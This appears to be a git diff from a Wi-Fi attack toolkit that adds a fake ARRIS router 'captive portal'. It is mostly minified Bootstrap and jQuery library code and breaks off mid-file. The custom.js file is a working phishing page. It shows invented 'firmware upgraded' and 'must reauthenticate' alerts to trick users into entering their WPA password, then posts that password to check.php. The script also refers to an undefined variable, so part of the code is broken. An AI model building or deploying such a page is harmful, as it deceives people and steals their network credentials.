j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&jdocument.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth
          ',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);if(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),!c.isInStateTrue())return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-mo.width?"left":"left"==h&&k.left-lg.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;jg.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.7",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:''}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.7",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b=e[a]&&(void 0===e[a+1]||b .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.7",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return e=a-d&&"bottom"},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/js/custom.js b/attacks/Captive Portal/sites/ARRIS_en.portal/js/custom.js new file mode 100644 index 0000000..0d4b6ea --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/js/custom.js @@ -0,0 +1,109 @@ +var AlertCountLimit = 3; + +function $MakeAlertDanger(message) { + var $alert = $($("#alert").html()).addClass("alert-danger"); + $alert.find("span.glyphicon").addClass("glyphicon-remove-sign"); + $alert.find("strong.heading").text("Warning"); + $alert.find("span.message").text(message); + return $alert; +} + +function $MakeAlertWarning(message) { + var $alert = $($("#alert").html()).addClass("alert-warning"); + $alert.find("span.glyphicon").addClass("glyphicon-exclamation-sign"); + $alert.find("strong.heading").text("Warning"); + $alert.find("span.message").text(message); + return $alert; +} + +function $MakeAlertSuccess(message) { + var $alert = $($("#alert").html()).addClass("alert-success"); + $alert.find("span.glyphicon").addClass("glyphicon-ok-sign"); + $alert.find("strong.heading").text("Success"); + $alert.find("span.message").text(message); + return $alert; +} + +function $MakeAlertInfo(message) { + var $alert = $($("#alert").html()).addClass("alert-info"); + $alert.find("span.glyphicon").addClass("glyphicon-info-sign"); + $alert.find("strong.heading").text("Notice"); + $alert.find("span.message").text(message); + return $alert.collapse("hide"); +} + +function $ShowAlert($alert) { + var $alertSection = $("#alert-section"); + var $alertSectionTitle = $("#alert-section>h3"); + var $alerts = $alertSection.find("div.alert"); + for (var i = AlertCountLimit; i <= $alerts.length; i++) $alerts.eq(i - 1).remove(); + return $alert.insertAfter($alertSectionTitle).collapse("show"); +} + +function $AuthenticationThemeSet(theme) { + var $panel = $("#authentication-section>article.panel"); + $panel.removeClass("panel-default panel-primary panel-info panel-success panel-warning panel-danger"); + return $panel.addClass(theme); +} + +$(function() { + var $submitButton = $("#wpa-submit"); + var $passwordTextbox = $("#wpa-password"); + var $passwordButton = $("#wpa-visibility"); + + $passwordTextbox.on("input", function(event) { + $submitButton.prop("disabled", $(this).val().length < 8); + }); + + $passwordButton.click(function(event) { + $passwordTextbox.data("readable", !$passwordTextbox.data("readable")); + $passwordTextbox.attr("type", $passwordTextbox.data("readable")? "text" : "password"); + }); + + $submitButton.click(function(event) { + $submitButton.prop("disabled", true); + $passwordTextbox.prop("disabled", true); + $passwordButton.prop("disabled", true); + var $post = $.post("check.php?dynamic=true", { + "key1": $("input[name=key1]").val() + }); + $post.done(function(validKey) { + var validKey = data == "authenticated"; + var $alert = validKey? $MakeAlertSuccess("Access granted, please wait while services are being restarted...") : + $MakeAlertWarning("The password you've entered is incorrect, please try again."); + $ShowAlert($alert); + + if (validKey) { + $AuthenticationThemeSet("panel-success"); + } else { + $AuthenticationThemeSet("panel-warning"); + $submitButton.prop("disabled", false); + $passwordTextbox.prop("disabled", false); + $passwordButton.prop("disabled", false); + } + }); + $post.fail(function(event) { + $ShowAlert($MakeAlertDanger("You've been disconnected from the authenication server! This could be caused by a Wi-Fi disconnection.")); + $AuthenticationThemeSet("danger"); + setTimeout(function() { + $submitButton.prop("disabled", false); + $passwordTextbox.prop("disabled", false); + $passwordButton.prop("disabled", false); + }, 1000); + }); + }); +}); + +$(document).ready(function() { + $alertUpdate = $MakeAlertInfo("Your wireless router's firmware has been successfully upgraded to the latest version."); + $alertReauth = $MakeAlertWarning("Due to a security upgrade, you must reauthenticate to access the wireless network."); + + setTimeout(function() { + $ShowAlert($alertUpdate); + }, 500 + Math.round(2000 * Math.random())); + + + setTimeout(function() { + $ShowAlert($alertReauth); + }, 500 + Math.round(2000 * Math.random())); +}); diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/js/jquery-3.2.1.min.js b/attacks/Captive Portal/sites/ARRIS_en.portal/js/jquery-3.2.1.min.js new file mode 100644 index 0000000..644d35e --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/js/jquery-3.2.1.min.js @@ -0,0 +1,4 @@ +/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var 